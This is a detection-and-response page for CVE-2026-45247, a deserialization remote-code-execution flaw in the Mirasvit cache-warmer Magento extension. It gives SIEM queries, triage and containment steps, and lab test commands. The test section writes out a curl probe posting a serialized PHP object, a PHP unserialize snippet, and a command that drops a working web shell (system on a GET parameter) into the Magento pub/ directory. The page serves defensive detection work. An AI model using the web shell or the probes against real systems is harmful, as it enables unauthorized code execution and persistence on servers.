Mirasvit Full Page Cache Warmer Deserialization RCE (CVE-2026-45247)
Detects exploitation of CVE-2026-45247, a deserialization of untrusted data vulnerability in the Mirasvit Full Page Cache Warmer Magento extension. Successful exploitation allows remote attackers to execute arbitrary code by sending crafted serialized PHP objects to vulnerable endpoints. This CVE is listed in CISA KEV, indicating active exploitation in the wild.
Vulnerability Intelligence
KEV — Known ExploitedAffected Software
- Vendor
- Mirasvit
- Product
- Mirasvit Full Page Cache Warmer
Weakness (CWE)
Timeline
- Disclosed
- June 3, 2026
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
What is CVE-2026-45247 Mirasvit Full Page Cache Warmer Deserialization RCE (CVE-2026-45247)?
Mirasvit Full Page Cache Warmer Deserialization RCE (CVE-2026-45247) (CVE-2026-45247) maps to the Initial Access and Execution and Persistence tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for Mirasvit Full Page Cache Warmer Deserialization RCE (CVE-2026-45247), covering the data sources and telemetry it touches: W3CIISLog, AzureDiagnostics, SecurityAlert, CommonSecurityLog. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Execution Persistence
let suspiciousPatterns = dynamic(['/cache-warmer/', '/mirasvit/cachewarmer/', 'O:', 'C:', 'rO0']);
let timeWindow = 1h;
union
(
W3CIISLog
| where TimeGenerated >= ago(timeWindow)
| where csUriStem has_any ('/cache-warmer/', '/mirasvit/', '/cachewarmer/')
| where csMethod in ('POST', 'PUT')
| where csBytes > 500
| extend SuspiciousPayload = csUriQuery has_any ('O:', 'C:', 'rO0') or csBytes > 5000
| project TimeGenerated, csHost, csMethod, csUriStem, csUriQuery, csBytes, cIP = csClientIP, scStatus, SuspiciousPayload
),
(
AzureDiagnostics
| where TimeGenerated >= ago(timeWindow)
| where Category == 'ApplicationGatewayAccessLog'
| where requestUri_s has_any ('/cache-warmer/', '/mirasvit/', '/cachewarmer/')
| where httpMethod_s in ('POST', 'PUT')
| project TimeGenerated, Host = hostname_s, Method = httpMethod_s, Uri = requestUri_s, ClientIP = clientIP_s, Status = httpStatus_d
),
(
SecurityAlert
| where TimeGenerated >= ago(timeWindow)
| where AlertName has_any ('deserialization', 'php', 'magento')
)
| summarize RequestCount = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by tostring(cIP), csHost, csUriStem
| where RequestCount >= 1 Detects HTTP requests targeting Mirasvit Full Page Cache Warmer endpoints with characteristics consistent with PHP deserialization exploitation, including POST/PUT methods to warmer paths and large or suspicious payloads. Also correlates with WAF and security alert signals.
Data Sources
Required Tables
False Positives
- Legitimate cache warming bots or crawlers sending POST requests to warmer endpoints
- Security scanners performing vulnerability assessments against the Magento store
- Internal load testing tools targeting cache warmer URLs with large payloads
- Magento cron jobs legitimately warming the page cache via POST requests
Sigma rule & cross-platform mapping
The detection logic for Mirasvit Full Page Cache Warmer Deserialization RCE (CVE-2026-45247) (CVE-2026-45247) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
product: azure Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-45247
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate Deserialization Probe to Cache Warmer Endpoint
Expected signal: POST request to /mirasvit/cachewarmer/collect visible in web access logs with payload containing 'O:8:' serialization marker; HTTP response code logged
- Test 2PHP Deserialization Gadget Chain Simulation (Lab)
Expected signal: PHP CLI process spawned with command-line containing unserialize() — visible in auditd execve records or CrowdStrike process telemetry
- Test 3Web Shell Drop Simulation Following Deserialization RCE
Expected signal: File creation event in /var/www/html/pub/ for a .php file by the web server user (www-data or nginx); auditd CREATE record or Falcon sensor file event
Response Playbook
Triage
- Identify the source IP(s) sending POST/PUT requests to cache warmer endpoints and cross-reference with known good IPs (internal crawlers, CDN egress ranges, authorized scanners)
- Examine the full HTTP request body if available — look for PHP serialized object markers (O:, C:, rO0ABJ) or base64-encoded blobs that could encapsulate serialized payloads
- Check web server and PHP error logs on the Magento host for deserialization errors, fatal exceptions, or unexpected object instantiation messages coinciding with the suspicious request timestamps
- Determine the installed version of Mirasvit Full Page Cache Warmer and compare against any vendor-published patched versions from the changelog reference
- Review Magento's var/log/system.log and var/log/debug.log for anomalous PHP class instantiation or file write operations following the suspicious requests
Containment
- Immediately block the offending source IP(s) at the WAF, load balancer, or perimeter firewall and enable rate limiting on all cache warmer URL paths for non-internal sources
- If exploitation is confirmed, take the affected Magento application offline or into maintenance mode to prevent further abuse while patching; notify stakeholders of the service impact
- Revoke and rotate any Magento admin credentials, API tokens, or integration keys that may have been accessible from the compromised web context
Evidence Collection
- Capture and preserve the full HTTP request (headers, body, and response) from the exploit attempt — export from WAF, IDS, or web server access and error logs with timestamps intact
- On the Magento host, acquire a memory snapshot if possible, and collect /tmp, /var/www (or Magento root), PHP session files, and any newly created or modified files within the past 24 hours using find with -newer flag against a reference file
Escalation Criteria
- ! Escalate immediately if any web shell, unexpected PHP file, or new cron entry is discovered on the Magento host following the suspicious requests — this indicates successful code execution
- ! Escalate if outbound connections from the Magento server to external IPs are observed after the exploit attempt, indicating potential C2 channel establishment or data exfiltration
Investigation Guide
Forensic Artifacts
- >
Web server access logs showing POST/PUT to /cache-warmer or Mirasvit module paths with large bodies or serialization markers - >
PHP error logs in var/log/ with unserialize() exceptions or class-not-found errors referencing unexpected namespaces - >
Newly created or modified PHP files in the Magento root, pub/, or var/ directories (use find /var/www -name '*.php' -newer /var/www/index.php) - >
Unexpected outbound network connections from the PHP-FPM or web server process visible in netstat or ss output - >
Bash history or auditd logs showing PHP CLI invocations with eval, base64_decode, or shell execution functions from the web server user account
Tuning Guidance
Reduce false positives by first building a baseline of known legitimate cache warmer traffic — identify authorized internal crawler IPs, CDN origin IPs, and scheduled cron job source addresses, then add them to an allowlist exclusion in the query. Increase confidence by adding correlation with PHP process spawn events or file system write events on the Magento host following the HTTP request. If the organization has patched or does not use Mirasvit Full Page Cache Warmer, this detection can be retired or scoped to asset inventory for the affected product only.
Hunting Queries
Broad hunt for any elevated access patterns to Mirasvit cache warmer endpoints over the past 7 days, surfacing IP addresses or hosts with unusual request volumes that may indicate reconnaissance or ongoing exploitation attempts
W3CIISLog
| where TimeGenerated >= ago(7d)
| where csUriStem has_any ('/cache-warmer/', '/mirasvit/', '/cachewarmer/')
| summarize RequestCount = count(), UniqueIPs = dcount(csClientIP), Methods = make_set(csMethod), Statuses = make_set(scStatus) by csHost, csUriStem, bin(TimeGenerated, 1h)
| where RequestCount > 5 or UniqueIPs > 3
| order by RequestCount desc index=web sourcetype IN (iis, apache_access, nginx_access)
(uri_path="*/cache-warmer*" OR uri_path="*/cachewarmer*" OR uri_path="*/mirasvit*")
| timechart span=1h count by src_ip
| where count > 5 Atomic Red Team Tests
Sends a POST request with a PHP serialized object payload to the Mirasvit cache warmer endpoint to simulate an initial exploitation probe and generate web log telemetry.
Command
curl -s -X POST 'http://TARGET_MAGENTO_HOST/mirasvit/cachewarmer/collect' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0' --data 'data=O:8:"stdClass":1:{s:4:"test";s:4:"data";}' -o /dev/null -w '%{http_code}' Cleanup
No cleanup required — this is a network-only probe that generates log entries only Expected Telemetry
POST request to /mirasvit/cachewarmer/collect visible in web access logs with payload containing 'O:8:' serialization marker; HTTP response code logged
Expected Detection
SPL and KQL queries should fire on the URI path match combined with the serialized object pattern in the request body or query string
Executes a local PHP script that mimics the server-side deserialization of a malicious payload, verifying that PHP process telemetry is generated for detection rule validation.
Command
php -r '$payload = "O:8:\"stdClass\":1:{s:4:\"exec\";s:2:\"id\"}"; $obj = @unserialize($payload); echo "Deserialization attempted";' Cleanup
No files created; lab environment only Expected Telemetry
PHP CLI process spawned with command-line containing unserialize() — visible in auditd execve records or CrowdStrike process telemetry
Expected Detection
Elastic EQL sequence rule correlates HTTP request event with subsequent PHP process execution containing eval or exec patterns
Simulates the post-exploitation step of a successful deserialization attack by writing a PHP web shell to the Magento pub/ directory, testing file integrity monitoring and detection coverage for persistence.
Command
echo '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' > /var/www/html/pub/health_check_tmp.php && echo 'Web shell written to pub/ - verify detection fired' && sleep 5 && rm -f /var/www/html/pub/health_check_tmp.php Cleanup
rm -f /var/www/html/pub/health_check_tmp.php Expected Telemetry
File creation event in /var/www/html/pub/ for a .php file by the web server user (www-data or nginx); auditd CREATE record or Falcon sensor file event
Expected Detection
File integrity monitoring alert for new PHP file in Magento public directory; CrowdStrike CQL or Elastic EQL rules for web shell creation patterns should trigger